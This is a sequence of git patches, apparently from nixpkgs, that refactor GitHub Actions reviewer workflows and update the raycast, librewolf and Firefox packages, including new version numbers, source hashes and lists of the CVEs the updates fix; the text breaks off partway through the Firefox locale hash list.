+      OWNER_RO_APP_PRIVATE_KEY: ${{ secrets.OWNER_RO_APP_PRIVATE_KEY }}
     with:
       baseBranch: ${{ needs.prepare.outputs.baseBranch }}
       headBranch: ${{ needs.prepare.outputs.headBranch }}
+      mergedSha: ${{ needs.prepare.outputs.mergedSha }}
+      targetSha: ${{ needs.prepare.outputs.targetSha }}
 
   lint:
     name: Lint

From 2746652fdcd9ca034c827b4c682619989a84a6de Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 17 Aug 2025 22:18:00 +0200
Subject: [PATCH 3685/4511] workflows/reviewers: remove pull_request trigger

Changes to this file already trigger a run of this workflow via the PR
workflow, we don't need to run this *another* time.

(cherry picked from commit 7f4dd7e2ff0e4be10a549db6241b7fb253ff7b04)
---
 .github/workflows/reviewers.yml | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index 58c201724273..2b1be250469d 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -4,9 +4,6 @@
 name: Reviewers
 
 on:
-  pull_request:
-    paths:
-      - .github/workflows/reviewers.yml
   pull_request_target:
     types: [ready_for_review]
   workflow_call:

From 2c86ed707c80b0606d0466b3e452fe2b746bd6e0 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 17 Aug 2025 22:24:24 +0200
Subject: [PATCH 3686/4511] workflows/reviewers: integrate codeowner reviews

These two jobs mostly used the same code anyway, so they can easily run
in the same job. This uses fewer resources and avoids running (and
failing) the codeowners review job on Pull Requests from development
branches like staging-next or haskell-updates.

It also opens the door for more improvements later on, for example it
will be much easier to implement a shared reviewer limit for both owners
and maintainers now.

(cherry picked from commit ddf81dead677725c7aea949d7c2abff619018f44)
---
 .github/workflows/codeowners-v2.yml | 76 -----------------------------
 .github/workflows/reviewers.yml     | 34 ++++++++++++-
 2 files changed, 32 insertions(+), 78 deletions(-)
 delete mode 100644 .github/workflows/codeowners-v2.yml

diff --git a/.github/workflows/codeowners-v2.yml b/.github/workflows/codeowners-v2.yml
deleted file mode 100644
index 71bf4da1ee7d..000000000000
--- a/.github/workflows/codeowners-v2.yml
+++ /dev/null
@@ -1,76 +0,0 @@
-name: Codeowners v2
-
-on:
-  pull_request:
-    paths:
-      - .github/workflows/codeowners-v2.yml
-  pull_request_target:
-    types: [opened, ready_for_review, synchronize, reopened]
-
-concurrency:
-  group: codeowners-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
-  cancel-in-progress: true
-
-permissions: {}
-
-defaults:
-  run:
-    shell: bash
-
-jobs:
-  # Request reviews from code owners
-  # For requesting code owners, this job depends on a GitHub App with the following permissions:
-  # - Permissions:
-  #   - Repository > Administration: read-only
-  #   - Organization > Members: read-only
-  #   - Repository > Pull Requests: read-write
-  # - Install App on this repository, setting these variables:
-  #   - OWNER_APP_ID (variable)
-  #   - OWNER_APP_PRIVATE_KEY (secret)
-  #
-  # Note that this app is also used for ./eval.yml requesting reviewers.
-  request:
-    name: Request
-    runs-on: ubuntu-24.04-arm
-    timeout-minutes: 5
-    steps:
-      - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
-
-      # Important: Because we use pull_request_target, this checks out the base branch of the PR, not the PR head.
-      # This is intentional, because we need to request the review of owners as declared in the base branch.
-      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
-        with:
-          path: trusted
-
-      - name: Build review request package
-        run: nix-build trusted/ci -A requestReviews
-
-      - uses: actions/create-github-app-token@0f859bf9e69e887678d5bbfbee594437cb440ffe # v2.1.0
-        if: github.event_name == 'pull_request_target' && vars.OWNER_APP_ID
-        id: app-token
-        with:
-          app-id: ${{ vars.OWNER_APP_ID }}
-          private-key: ${{ secrets.OWNER_APP_PRIVATE_KEY }}
-          permission-administration: read
-          permission-members: read
-          permission-pull-requests: write
-
-      - name: Log current API rate limits
-        if: steps.app-token.outputs.token
-        env:
-          GH_TOKEN: ${{ steps.app-token.outputs.token }}
-        run: gh api /rate_limit | jq
-
-      - name: Request reviews
-        if: steps.app-token.outputs.token
-        env:
-          GH_TOKEN: ${{ steps.app-token.outputs.token }}
-          # Don't do anything on draft PRs
-          DRY_MODE: ${{ github.event.pull_request.draft && '1' || '' }}
-        run: result/bin/request-code-owner-reviews.sh ${{ github.repository }} ${{ github.event.number }} ci/OWNERS
-
-      - name: Log current API rate limits
-        if: steps.app-token.outputs.token
-        env:
-          GH_TOKEN: ${{ steps.app-token.outputs.token }}
-        run: gh api /rate_limit | jq
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index 2b1be250469d..5c2acb55a8de 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -38,8 +38,16 @@ jobs:
       - name: Build the requestReviews derivation
         run: nix-build trusted/ci -A requestReviews
 
-      # See ./codeowners-v2.yml, reuse the same App because we need the same permissions
-      # Can't use the token received from permissions above, because it can't get enough permissions
+      # For requesting reviewers, this job depends on a GitHub App with the following permissions:
+      # - Permissions:
+      #   - Repository > Administration: read-only
+      #   - Organization > Members: read-only
+      #   - Repository > Pull Requests: read-write
+      # - Install App on this repository, setting these variables:
+      #   - OWNER_APP_ID (variable)
+      #   - OWNER_APP_PRIVATE_KEY (secret)
+      #
+      # Can't use the token received from permissions above, because it can't get enough permissions.
       - uses: actions/create-github-app-token@0f859bf9e69e887678d5bbfbee594437cb440ffe # v2.1.0
         if: github.event_name == 'pull_request_target' && vars.OWNER_APP_ID
         id: app-token
@@ -50,6 +58,28 @@ jobs:
           permission-members: read
           permission-pull-requests: write
 
+      - name: Log current API rate limits (app-token)
+        if: ${{ steps.app-token.outputs.token }}
+        env:
+          GH_TOKEN: ${{ steps.app-token.outputs.token }}
+        run: gh api /rate_limit | jq
+
+      - name: Requesting code owner reviews
+        if: steps.app-token.outputs.token
+        env:
+          GH_TOKEN: ${{ steps.app-token.outputs.token }}
+          REPOSITORY: ${{ github.repository }}
+          NUMBER: ${{ github.event.number }}
+          # Don't do anything on draft PRs
+          DRY_MODE: ${{ github.event.pull_request.draft && '1' || '' }}
+        run: result/bin/request-code-owner-reviews.sh "$REPOSITORY" "$NUMBER" ci/OWNERS
+
+      - name: Log current API rate limits (app-token)
+        if: ${{ steps.app-token.outputs.token }}
+        env:
+          GH_TOKEN: ${{ steps.app-token.outputs.token }}
+        run: gh api /rate_limit | jq
+
       - name: Log current API rate limits (github.token)
         env:
           GH_TOKEN: ${{ github.token }}

From 5bd96697ac7ee12d7f43454b1bf3d594d4e0d9d1 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Wed, 20 Aug 2025 16:16:52 +0300
Subject: [PATCH 3687/4511] raycast: 1.102.4 -> 1.102.5

(cherry picked from commit 279dcc5a3e9faca51eb8945b5db15ec4223a312a)
---
 pkgs/by-name/ra/raycast/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ra/raycast/package.nix b/pkgs/by-name/ra/raycast/package.nix
index 37d9ef4606eb..a0cc3e8b33c2 100644
--- a/pkgs/by-name/ra/raycast/package.nix
+++ b/pkgs/by-name/ra/raycast/package.nix
@@ -12,19 +12,19 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "raycast";
-  version = "1.102.4";
+  version = "1.102.5";
 
   src =
     {
       aarch64-darwin = fetchurl {
         name = "Raycast.dmg";
         url = "https://releases.raycast.com/releases/${finalAttrs.version}/download?build=arm";
-        hash = "sha256-VYwvU9DWowE+34ZBAsqIjGJGnHVfdVWGl4baL5boN8M=";
+        hash = "sha256-Fh46CsAeE9TpqVlYCc6s5ytO5dm+xoDJ7NawML4D9R4=";
       };
       x86_64-darwin = fetchurl {
         name = "Raycast.dmg";
         url = "https://releases.raycast.com/releases/${finalAttrs.version}/download?build=x86_64";
-        hash = "sha256-LMkHWs/H5ESdp+JaUG0rlI9UVx29WYcU44t0fBAWg8A=";
+        hash = "sha256-tBFnk5R9BqfL+MH1tBY76al7/jVzqpfI7yIGADQh6wQ=";
       };
     }
     .${stdenvNoCC.system} or (throw "raycast: ${stdenvNoCC.system} is unsupported.");

From efc27cc653c764e40d1bd1c2f57c05d14623222f Mon Sep 17 00:00:00 2001
From: Dominic <email@dwrege.de>
Date: Wed, 20 Aug 2025 00:33:36 +0200
Subject: [PATCH 3688/4511] librewolf-unwrapped: 141.0.3-1 -> 142.0.1

firefox upstream release notes: https://www.firefox.com/en-US/firefox/142.0/releasenotes/

Security advisory: https://www.mozilla.org/en-US/security/advisories/mfsa2025-64/

Fixes:

    CVE-2025-9179
    CVE-2025-9180
    CVE-2025-9181
    (CVE-2025-9186 Android-only)
    CVE-2025-9182
    CVE-2025-9183
    CVE-2025-9187
    CVE-2025-9184
    CVE-2025-9185

(cherry picked from commit b0b2036d2ce4d4b2398feca4f9226800a68d4ad7)
---
 .../networking/browsers/librewolf/src.json             | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/applications/networking/browsers/librewolf/src.json b/pkgs/applications/networking/browsers/librewolf/src.json
index a9de719fdb7a..ac3afeac899e 100644
--- a/pkgs/applications/networking/browsers/librewolf/src.json
+++ b/pkgs/applications/networking/browsers/librewolf/src.json
@@ -1,11 +1,11 @@
 {
-  "packageVersion": "141.0.3-1",
+  "packageVersion": "142.0-1",
   "source": {
-    "rev": "141.0.3-1",
-    "hash": "sha256-0SosHE51IkDyg37fHnlJKn7IbMwr1iSXHr5Wuv2WkPg="
+    "rev": "142.0-1",
+    "hash": "sha256-/bn9xeDxnJCQol/E8rhS8RVhpUj7UN+QScSIzLFnZ/o="
   },
   "firefox": {
-    "version": "141.0.3",
-    "hash": "sha512-tmCwGIQMQaJUc0tIR6eR8an9L3Lb6oJepZcf0LMmmkPx9L4cz0pT94Cba5g5j04EoULlf4iC1lkLq2Nu91AC9g=="
+    "version": "142.0",
+    "hash": "sha512-sMHHZgg6MKkrd9zxalhNn7NBzYEdIcOjTaTNDXFP1q3HO2CAktZgWGl7xFYvqsxEhZFT5J/9624U4Fnlny6iRg=="
   }
 }

From b5e579aa9f2a84a3ecaeb90d624ff07ac7d192c8 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 20 Aug 2025 00:44:59 +0200
Subject: [PATCH 3689/4511] firefox-unwrapped: 141.0.3 -> 142.0

https://www.firefox.com/en-US/firefox/142.0/releasenotes/
https://www.mozilla.org/en-US/security/advisories/mfsa2025-64/

Fixes: CVE-2025-9179, CVE-2025-9180, CVE-2025-9181, CVE-2025-9182.
       CVE-2025-9183, CVE-2025-9187, CVE-2025-9184, CVE-2025-9185
(cherry picked from commit 8ff066dbecb94722e26af758677148c6f69c7e0f)
---
 .../networking/browsers/firefox/packages/firefox.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
index 3abfe11d3731..c4bb18ac4987 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
@@ -9,10 +9,10 @@
 
 buildMozillaMach rec {
   pname = "firefox";
-  version = "141.0.3";
+  version = "142.0";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "b660b018840c41a254734b4847a791f1a9fd2f72dbea825ea5971fd0b3269a43f1f4be1ccf4a53f7809b6b98398f4e04a142e57f8882d6590bab636ef75002f6";
+    sha512 = "b0c1c766083a30a92b77dcf16a584d9fb341cd811d21c3a34da4cd0d714fd6adc73b608092d66058697bc4562faacc44859153e49ffdeb6e14e059e59f2ea246";
   };
 
   meta = {

From e6303e7245d55dd8f3096007d72efe47d70115a0 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 20 Aug 2025 00:46:20 +0200
Subject: [PATCH 3690/4511] firefox-bin-unwrapped: 141.0.3 -> 142.0

https://www.firefox.com/en-US/firefox/142.0/releasenotes/
https://www.mozilla.org/en-US/security/advisories/mfsa2025-64/

Fixes: CVE-2025-9179, CVE-2025-9180, CVE-2025-9181, CVE-2025-9182.
       CVE-2025-9183, CVE-2025-9187, CVE-2025-9184, CVE-2025-9185
(cherry picked from commit 6fcdefb8e3042bfe27056f54dbeeed2344dd330d)
---
 .../browsers/firefox-bin/release_sources.nix  | 1650 ++++++++---------
 1 file changed, 825 insertions(+), 825 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
index 5dd3c6974b0c..2c4c842f9a96 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
@@ -1,2477 +1,2477 @@
 {
-  version = "141.0.3";
+  version = "142.0";
   sources = [
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ach/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ach/firefox-142.0.tar.xz";
       locale = "ach";
       arch = "linux-x86_64";
-      sha256 = "627a4d8be46f887db7391104717770a4c11249c37678bc484a2b2deb5007509b";
+      sha256 = "976f6cc23f5e2f424707fd42e30d9ce29086748ae7e817ff5ee3f69e628ad744";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/af/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/af/firefox-142.0.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "a3328847130d990f6b1cc79587988ff351895745d7901e11be49a8116d98b145";
+      sha256 = "ad0d46e8f2805bd1fe3fd3382db7c0c6d4e30a9ef2c9b3fb10ffedd05da9e173";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/an/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/an/firefox-142.0.tar.xz";
       locale = "an";
       arch = "linux-x86_64";
-      sha256 = "b51fe97d0deaa9d2289d7bf0157f17693f4f698b5a73456f151561fdefff4035";
+      sha256 = "bb1e2662b6a1c1b78ead75953d680ca458a297200535d581f0efa78e9af98f6e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ar/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ar/firefox-142.0.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "5b546a369af373c0540501c2130229b0193e0241e582a0118f04e7d8545239c8";
+      sha256 = "c918c6ee47806c78fb5e30ed3200521f6ceb32944e09c305779c11c0904dcf19";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ast/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ast/firefox-142.0.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "6ff16269395855e6bda0d3e247cc5b2dfb0380c5463c3998a75ab6118c9cfae9";
+      sha256 = "1796c0d0e1ec2611d3163771fd4a28e9d5338718d3f4b3d0b2b6708060a757d8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/az/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/az/firefox-142.0.tar.xz";
       locale = "az";
       arch = "linux-x86_64";
-      sha256 = "47dab2243a9976c8a342419fc2bd9e3018efdbf55073d6ef93047ab69961048f";
+      sha256 = "fd9c59ef7973e3f77328fb3c47a62f5615cc99119344f2131ab5a6e8da1123db";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/be/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/be/firefox-142.0.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "c14d9c0487f19581bbe84fa143f9f44715954801145ca6faed1c360c8b1df3ae";
+      sha256 = "edd79a3228f633f0c14f782743b557ca9f3bf6640dc2abead7214dc654bae573";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/bg/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/bg/firefox-142.0.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "383245e15b900f1ca81f4a6d4b0f9ecc4fde8282178a990bb70934c61737fcef";
+      sha256 = "71a98e2e79b7eff784d7af92cbe5ec036e8377732252bd8e6a3e5fe972596702";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/bn/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/bn/firefox-142.0.tar.xz";
       locale = "bn";
       arch = "linux-x86_64";
-      sha256 = "4cc0f97e7b2ffecb317b17ca14548ae6d7165d63ef0b2d038f609175e8d08a45";
+      sha256 = "db927c2ddb58a6de6037137efa711cbe83f9de193e19adcc964045dceb846e53";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/br/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/br/firefox-142.0.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "a4dd23993d44aa9193d8241d6ac4beff9f8da61693487ff74bf4b9204a74e2c4";
+      sha256 = "ba126d77778c751dc5d200921cf0b73f2fa84298d19f1fd62a69e187aa3b7626";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/bs/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/bs/firefox-142.0.tar.xz";
       locale = "bs";
       arch = "linux-x86_64";
-      sha256 = "cfdd129fc1d4e8da8902d1f88c30561331e6a07ee22120b2594f020cf668fb47";
+      sha256 = "ed08e068f1f13e44d799ba9406fedecb32dd38d256097b238a9d7f302477f58a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ca-valencia/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ca-valencia/firefox-142.0.tar.xz";
       locale = "ca-valencia";
       arch = "linux-x86_64";
-      sha256 = "b52d0747340a94efc4b2761515fed56ba86432374aaf7a20ea6dd56fb8a3272f";
+      sha256 = "18ec8149098c8d0d78e043567e07fcf6e724ed09c6f7fd99f69e0330abee9df8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ca/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ca/firefox-142.0.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "b897391f406a34ec2f31295918ff62cff0cf2f7dfc84411864b38d5723169750";
+      sha256 = "1edcfb2adf59b4a00e7015a9e43e8351e08b0f6e0985fb925b401dd30487baed";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/cak/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/cak/firefox-142.0.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "e1b3886e2f57754b960c3cbe7dbad8813d2514f24d77d7325372d0222c89c0de";
+      sha256 = "39c85d9d3518d21be8f45750deaa1aab39e74f178c77c07d6aba334f62e23b11";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/cs/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/cs/firefox-142.0.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "de8bc7aae84cf049ff05ce9031ffa1912e03c8ce5a59d6ad909e2bf76b7e8156";
+      sha256 = "ee022094dfd544c523e6942a86ca8066a69fa5222105f7bd699bfc36c05ac368";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/cy/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/cy/firefox-142.0.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "cfc2148edf9625131c675119d12b0add30bb462680a0714fbaa30dffd943d34b";
+      sha256 = "432e72cabe82d1cd92c957230c70c4032c90cfe073b5396c774dad7d5f450498";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/da/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/da/firefox-142.0.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "870fbedf5e68fced72212de2e3e31c69caa70998f9efa030ac0268f73a99e121";
+      sha256 = "406b5bd9ab26ef389b29c73d0256fbd30b4b7d175a7d80ce0c6574c077cb169e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/de/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/de/firefox-142.0.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "e49dc3615933515577496d92c91c39d03d01dce2d77542c84c8763c0f50f3733";
+      sha256 = "78bc260583ed88785c7f566606bc75cb406c14321de5ec00ad8c5d5e131447fc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/dsb/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/dsb/firefox-142.0.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "5d4b54b412bbccf50da17040798a071a8c37c731651d0c7a9a6d6645fec6371f";
+      sha256 = "0fc986d0bc419f0dc88e844ab3e7079d4b3472b5c059473d1143345dffbc588d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/el/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/el/firefox-142.0.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "36ac776b807e433d9c001283c042bfe185db2b99ea81c4be6b4b06f81d5fed42";
+      sha256 = "a642b1852dc865911777dc21d30ed14b3f29d4320d02a94d00b62d484ae39e9e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/en-CA/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/en-CA/firefox-142.0.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "ed4bc1a1b19efc5f3d994de75661d19aa0f3d283751e62072d9b99cf6a6b0573";
+      sha256 = "ba05b60920e0c8e3fdbed5a5b3f9b804d94c5efaaf0204eeb189dd85d2bccce7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/en-GB/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/en-GB/firefox-142.0.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "d538f26dfd3f81ca3d71a022a5f996826bf1bd42dea33c7171e6c737f85cc5a7";
+      sha256 = "325e635f2f60c2a09ccd1079f498addbb287c2f5bac5af956e40ce3b02462d81";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/en-US/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/en-US/firefox-142.0.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "e935dc3b74cf2cb1086e1e0b4a51d18e4d307e71ce6a20db64fe49d09cc78716";
+      sha256 = "da8897a6a618e73878e6022a2bece76af509c304c73ae5c53dc523d35cb7bae6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/eo/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/eo/firefox-142.0.tar.xz";
       locale = "eo";
       arch = "linux-x86_64";
-      sha256 = "052530afd49c38ae1d9bf45a4a8580b7765463e0502a7800d8573c55098e20ae";
+      sha256 = "c9da2c7d09c40bc746a91820747a5f11b1a2a9893a5545d5d62a5d8e18bc37db";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/es-AR/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/es-AR/firefox-142.0.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "c0bb261ed8bd997614b2cd67ed84ba46cb00d0a81cdbf36bac19a5994257bb50";
+      sha256 = "d5cb86ad0b547ae94175ae1a5701e423c55999ea12406daa4068415dbb9300ea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/es-CL/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/es-CL/firefox-142.0.tar.xz";
       locale = "es-CL";
       arch = "linux-x86_64";
-      sha256 = "fd81aebbd847d8ac847c14b1bd0fecc7fe3939d8e30690f46472585875f23e6e";
+      sha256 = "0acf0f75cefdae8a4c9e2ecc316219926a737ed625d8907b816453aa662e0712";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/es-ES/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/es-ES/firefox-142.0.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "4a5bb347eb890e3b43e08a491d4875846e409fc0ebef2e63669f660ff9088559";
+      sha256 = "150d931d17242ddd3d795918dfa2feec0de721144e44c7509e3d5c0badb9471f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/es-MX/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/es-MX/firefox-142.0.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "02fdbe38a6ac621361f3a33cd00f7d48ab22797841e856d60fa2b069d4acc54b";
+      sha256 = "e4f02ef45ef112342b27c4064287dd6230ea807835dffc89484c7c78554fb926";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/et/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/et/firefox-142.0.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "70941c683adddcae1af5f5be91b89419cfaf8b43a4a7252c71c6f74119dd4391";
+      sha256 = "635f5596736bc0a19c42f7b30aacbf4800d4c844bedfc2d6b080db428fc63f98";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/eu/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/eu/firefox-142.0.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "972a4963d255e7de02e9d9efadbb1757efd2aaf557434b2086342b0a0de0224a";
+      sha256 = "456c72d05b30537ea7b25964e70034a98d76b4559805135bdff286017b63e238";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/fa/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/fa/firefox-142.0.tar.xz";
       locale = "fa";
       arch = "linux-x86_64";
-      sha256 = "c5dc7efab021fe09f279b831b8aa07fe0efb7daa7f3a079501cb5341afc5cd26";
+      sha256 = "8b14a40b42727c15f3fcb3255e71a9d74d712186ce82be034dd7045ade7ebdc3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ff/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ff/firefox-142.0.tar.xz";
       locale = "ff";
       arch = "linux-x86_64";
-      sha256 = "73dfd15598e6e7c58d259f08da9a4ce1e3bcb788e648bf46513c2c04cde0ec35";
+      sha256 = "5fec4d8fd012bea2a96c4c6e707f253a5d8d000c21b6ce27e478116e8953146f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/fi/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/fi/firefox-142.0.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "e16378f41f13f6f0618b381df48081d3f249210337c8c20b804abac0027f432e";
+      sha256 = "0b11eb23bcc283777ba30a114496aeb7a87817afd961a2db9669d724f5b7675d";
     }
     {
